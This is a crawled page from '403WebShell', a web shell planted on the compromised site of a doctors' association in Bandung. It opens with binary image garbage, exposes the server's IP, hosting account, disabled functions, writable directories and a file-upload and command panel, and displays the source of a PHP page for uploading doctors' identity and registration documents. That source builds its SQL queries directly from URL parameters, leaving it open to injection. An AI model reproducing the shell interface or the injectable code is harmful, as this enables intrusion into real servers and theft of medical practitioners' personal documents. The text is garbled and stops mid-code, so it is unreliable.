JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 84.32.84.194  /  Your IP : 216.73.217.31
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/IDI/anggota/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/IDI/anggota/updown.php
<?php include "koneksi.php"; ?>











<!DOCTYPE html>



<html>



<head>



	



<meta name="viewport" content="width=device-width, initial-scale=1.0">	



  <title>Upload dan Download File</title>



 



  



  <!--Script CSS-->



  <link type="text/css" href='https://cdn.datatables.net/1.10.16/css/jquery.dataTables.min.css' rel='stylesheet'>



  <link type="text/css" href='https://cdn.datatables.net/responsive/2.2.1/css/responsive.dataTables.min.css' rel='stylesheet'>



  <link type="text/css" href='https://cdn.datatables.net/buttons/1.5.1/css/buttons.dataTables.min.css' rel='stylesheet'>



  <link href="style.css" rel="stylesheet">



	



	



	



	<link rel="stylesheet" href="jquery.dataTables.css"> 



	<script src="https://kit.fontawesome.com/a01a6d192c.js" crossorigin="anonymous"></script>



<link href="style.css" rel="stylesheet">



	



    <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css">



    <link



        href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i"



        rel="stylesheet">







    <!-- Custom styles for this template-->



    <link href="css/sb-admin-2.min.css" rel="stylesheet">	



	



	



	



	



<style>



		body {



			font-family: "Lucida Sans Unicode", "Lucida Grande", "Segoe Ui";



			font-size: 10px;



		}







.rapih{



padding-top=0;



margin-top=0;







    margin-top: 10px;



	max-width:500px;



	background: ;



    height: auto;



	overflow: hidden;



	padding: 10px;



	margin-left: 50px;



	text-align: left;



}



.rapih2{



padding-top=0;



margin-top=0;







    margin-top: 10px;



	max-width:1000px;



	background: ;



    height: auto;



	overflow: hidden;



	padding: 10px;



	margin-left: 50px;



	text-align: left;



}



	



	img {



    width: 100%;



    height: auto;



}	



	



.video-container { position: relative; padding-bottom: 56.25%; padding-top: 30px; height: 0; overflow: hidden; } .video-container iframe, .video-container object, .video-container embed { position: absolute; top: 0; left: 0; width: 100%; height: 100%; }		



	



img {



    width: 100%;



    height: auto;



}	



		@media only screen and (max-width: 480px) {



	.rapih{



		margin-left: 3%;



		width: 100%;



		font-size: 14px;



		text-align: left;



		



	}



	.rapih2{



		margin-left: 3%;



		width: 100%;



		font-size: 14px;



		text-align: left;



		



	}



			











			img {



    width: 100%;



    height: auto;



}



	}



</style>  



  



  



</head>



<body>











<!-- Page Wrapper -->



  <div id="wrapper">



  	<?php //include "sidebar.php"; ?>



    



    <!-- Content Wrapper -->



    <div id="content-wrapper" class="d-flex flex-column">







      <!-- Main Content -->



      <div id="content">



      



      <?php //include "topbar.php";?>



 



      	<!-- Begin Page Content -->



        <div class="container-fluid">



          <!-- DataTales Example -->



        <div class="card shadow mb-4">



        <div class="card-header py-3">



        <h6 class="m-0 font-weight-bold text-primary">List Post</h6>



        </div>



        <div class="card-body">



        <div class="table-responsive">



				  



  <center><h4><strong>Upload Documen</strong></h4>



	  </center> 











<div class="rapih">	







	      <?php $npm=$_GET['npm'];  ?> 



	



	



	



	<?php



    //menampilkan data Pra registrasi



      $npm=$_GET['npm'];



	 $noreg=$_GET['noreg'];



	



      $sql=mysqli_query($konek,"SELECT * FROM peserta where npm='$npm' AND noreg='$noreg' order by id  desc limit 1 ");



      $data=mysqli_fetch_array($sql);



      //data hobi dari tabel siswa 



     // $datahobi=explode(',', $data['dokumen']);



		   $rs = isset($data['rs']) ? $data['rs'] : null;



			$klinik = isset($data['klinik']) ? $data['klinik'] : null;



		    $puskesmas = isset($data['puskesmas']) ? $data['puskesmas'] : null;



			$pribadi = isset($data['pribadi']) ? $data['pribadi'] : null;



			$kota = isset($data['kota']) ? $data['kota'] : null;



			$npm = $data['npm'] ;



			$perihal = $data['perihal'];



			$anggota = $data['anggota'];



			$ahli = $data['ahli'];



			$status = $data['status'];	



	        $noreg=$data['noreg'];	



	        $instansi= $data['instansi'];	



	



    ?>



	



	







	 







					



			  



			  



	<hr>



 



  <b>STEP 3. <br>



	   UPLOAD PERSYARATAN DOKUMEN </b>







<div class="form-group">    



<center>



<div align="left">File yg harus diupload untuk persyaratan <strong>Surat Rekomendasi IDI Kota Bandung </strong></div>



<p align="left">



<br>



<p align="left">INFORMASI :<br>



	- Ukuran File Maximal: 3 MB.<br> 



	- Dokument Softcopy berwarna sesuai aslinya, dalam bentuk gambar jpg, jpeg, png atau pdf. <br>  



	- Pastikan Upload Dokumen sesuai Judul Syarat dokumen.<br>  



	- Dokumen yang sudah di Upload akan muncul samping kanan jika berhasil upload.<br> 



	- Jika Salah Upload dokumen dapat menghapus dan mengupload ulang..<br>



	



	</div>



	</div>



			  </div>



    <?php $npm=$_GET['npm'];  ?>       



	



<div align="left">



	  <br>				  



</div></div>



  <br/>







 	<table class="demo-table responsive width="90%"" >



		<caption class="title">Tabel Data Upload:</caption>



		<thead>



			<tr>



				<th >No</th>



				<th >Jenis Berkas (Upload)</th>



				<th  width="300">Keterangan</th>



				<th >Batal/Hapus</th>



		



			</tr>



		</thead>



		<tbody>



	



	



		<?php



       if  ( $perihal =='rekomendasi_SIP_dr_umum'){



	?>	  		  







			



	<tr>



				<td data-header="No" class="title">1</td>



				<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="12" checked > 1. Softcopy (berwarna/asli) KTP <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="1"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>



				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='1'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



		 



		 <?php 



		  if ($nourut2=='1'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	







	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



	 <?php 



		 }



		  ?>		



			</tr>



			  



			  







		  







		  



	



			  



			<tr>



				<td data-header="No" class="title">2</td>



				<td data-header="Jenis Berkas" >



					    <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="30" checked > 3. Softcopy (berwarna/sesuai asli) STR.  <br><br>	



					



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />



			<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



							<input name="nourut" type = "hidden" readonly class="form-control"  value="3"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>	



			



		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>  



				



				</td>



				<td data-header="Keterangan" >



				



				



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='3' order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut3= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut3=='3'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



 				<?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



		



	



	  



	   				<?php	







						  }



						?>	



	  </tr>



	  



		  



		  



		  



		  



		  



	<?php      



				 if( $status =='rekom_revisi_praktek' AND $kota=='bandung' ){		 



			 ?>		 	



							<br>



			   <tr>



							<td data-header="No" class="title"></td>



							<td data-header="Jenis Berkas" >



									<form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">







					<input type="checkbox" name="nm_surat" value="32" checked > - Formulir DPMPTSP Perubahan Jadwal Praktek.  <br><br>	







				<input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



				<input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />



						<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



										<input name="nourut" type = "hidden" readonly class="form-control"  value="8"  />



				<input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



				<br>	







					 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



					<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



				<br>



					<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



				</form>



				<br/>  







							</td>



							<td data-header="Keterangan" >















						 <?php



				  //require 'config.php';



				  $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='8' order by nourut ") or die(mysqli_error());



				   $no = 1;



				   $total2=0;



					while($fetch = $row->fetch_array()){







				    $potong_kalimat = substr($fetch['file'],-4);







					//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



					  $nourut3= $fetch['nourut'];  



				   $pdf=$fetch['file'];



				   ?>







					<?php 



					$name = explode('/', $fetch['file']);



					?>			 























					<?php 



					 if ($nourut3=='8'){







					?>







								  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	







												 <?php 



												if ($potong_kalimat==".pdf"){



												?>	



												<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



												 <?php	



												}else{



												?>	







											  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



												 <?php	



												}



												?>







												 <br>  



												  <br>  



												 Berhasil di Upload</td>



				<?php	



				}



				?>	















				  <td>



					   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



	 		



			



			



				<?php	



				}



				  ?>		



			</tr>











	  



	  



	  



	  







	      <?php		



			  }elseif ( $status =='rekom_baru' || $status =='rekom_tambah_praktek'  AND $kota=='bandung' ){



			?>					 



								 



						   <tr>



							<td data-header="No" class="title"></td>



							<td data-header="Jenis Berkas" >



									<form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">







					<input type="checkbox" name="nm_surat" value="33" checked > - Form DPMPTSP dokter Umum.  <br><br>	







				<input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



				<input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />



						<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



										<input name="nourut" type = "hidden" readonly class="form-control"  value="8"  />



				<input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



				<br>	







					 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



					<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



				<br>



					<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



				</form>



				<br/>  







							</td>



							<td data-header="Keterangan" >















						 <?php



				  //require 'config.php';



				  $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='8' order by nourut ") or die(mysqli_error());



				   $no = 1;



				   $total2=0;



					while($fetch = $row->fetch_array()){







					$potong_kalimat = substr($fetch['file'],-4);







					//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



					  $nourut3= $fetch['nourut'];  



				   $pdf=$fetch['file'];



				   ?>







					<?php 



					$name = explode('/', $fetch['file']);



					?>			 























					 <?php 



					  if ($nourut3=='8'){







					  ?>







					  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	







						 <?php 



						if ($potong_kalimat==".pdf"){



						?>	



						<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



						 <?php	



						}else{



						?>	







					  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



						 <?php	



						}



						?>







									 <br>  



									  <br>  



									 Berhasil di Upload</td>



			 					<?php	







									  }



									?>	















				  <td>



					   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



	 	



			



			



		<?php	



		}



		  ?>		



		</tr>		



		



	



	



	



	



	<?php		



				 }elseif ($kota=='luar_kota' || $status =='rekom_baru' || $status =='rekom_tambah_praktek'  ||$status =='rekom_revisi_praktek'){



			?>					 



								 



						   <tr>



							<td data-header="No" class="title"></td>



							<td data-header="Jenis Berkas" >



									<form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">







					<input type="checkbox" name="nm_surat" value="44" checked > - Formulir SIP Luar kota Bandung.  <br><br>	







				<input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



				<input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />



						<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



				<input name="nourut" type = "hidden" readonly class="form-control"  value="10"  />



				<input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



				<br>	







					 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



					<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



				<br>



					<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



				</form>



				<br/>  







							</td>



							<td data-header="Keterangan" >















						 <?php



				  //require 'config.php';



				  $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='10' order by nourut ") or die(mysqli_error());



				   $no = 1;



				   $total2=0;



					while($fetch = $row->fetch_array()){







					$potong_kalimat = substr($fetch['file'],-4);







					//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



					  $nourut3= $fetch['nourut'];  



				   $pdf=$fetch['file'];



				   ?>







					<?php 



					$name = explode('/', $fetch['file']);



					?>			 























					 <?php 



					  if ($nourut3=='10'){







					  ?>







					  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	







						 <?php 



						if ($potong_kalimat==".pdf"){



						?>	



						<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



						 <?php	



						}else{



						?>	







					  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



						 <?php	



						}



						?>







									 <br>  



									  <br>  



									 Berhasil di Upload</td>



			 					<?php	







									  }



									?>	















				  <td>



					   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



	 	



					<?php	



					}







					



				  ?>







</tr>



			



			



				



	



	



	



	



	



	<tr>



				<td data-header="No" class="title"></td>



				<td data-header="Jenis Berkas" >



					    <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="42" checked > Softcopy (berwarna/sesuai asli) Surat keterangan/Pengantar dinas kesehatan yg menyatakan sudah/belum mempunyai tempat  Praktek  (bagi domisili yang berbeda dengan tempat praktek).



	<br> <br> 	  	



					



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />



			<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



	<input name="nourut" type = "hidden" readonly class="form-control"  value="9"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>	



			



		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>  



				



				</td>



				<td data-header="Keterangan" >



				



				



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='9' order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut3= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut3=='9'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



		



	



	  



	   				<?php	







						  }



						?>	



	  </tr>



	



	



	



 		<?php	



			  }



		?>	



	















<?php	



//akhir dokter umum



	  }



?>	



	  



	  



	  



	  



	  



<?php



  if  ( $perihal =='rekomendasi_SIP_dr_spesialis'){



?>	  		  



		<tr>



				<td data-header="No" class="title">1</td>



				<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="12" checked > 1. Softcopy (berwarna/asli) KTP <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="1"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>



				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='1'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='1'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



	 <?php 



		 }



		  ?>		



			</tr>



			  



			  







			<tr>



				<td data-header="No" class="title">2</td>



				<td data-header="Jenis Berkas" >



					    <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="30" checked > 3. Softcopy (berwarna/sesuai asli) STR.  <br><br>	



					



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />



			<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



			<input name="nourut" type = "hidden" readonly class="form-control"  value="3"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>	



			



		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>  



				



				</td>



				<td data-header="Keterangan" >



				



				



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='3' order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut3= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut3=='3'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



	 <?php 



		 }



		  ?>		



			</tr>			



	



			<tr>



				<td data-header="No" class="title">4</td>



				<td data-header="Jenis Berkas" >



					    <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="17" checked > 4. Softcopy (berwarna/sesuai asli) Surat Pengantar dari Perhimpunan Dokter Spesialis..  <br><br>	



					



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />



			<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



			<input name="nourut" type = "hidden" readonly class="form-control"  value="4"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>	



			



		 <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>  



				



				</td>



				<td data-header="Keterangan" >



				



				



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='4' order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut3= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut3=='4'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



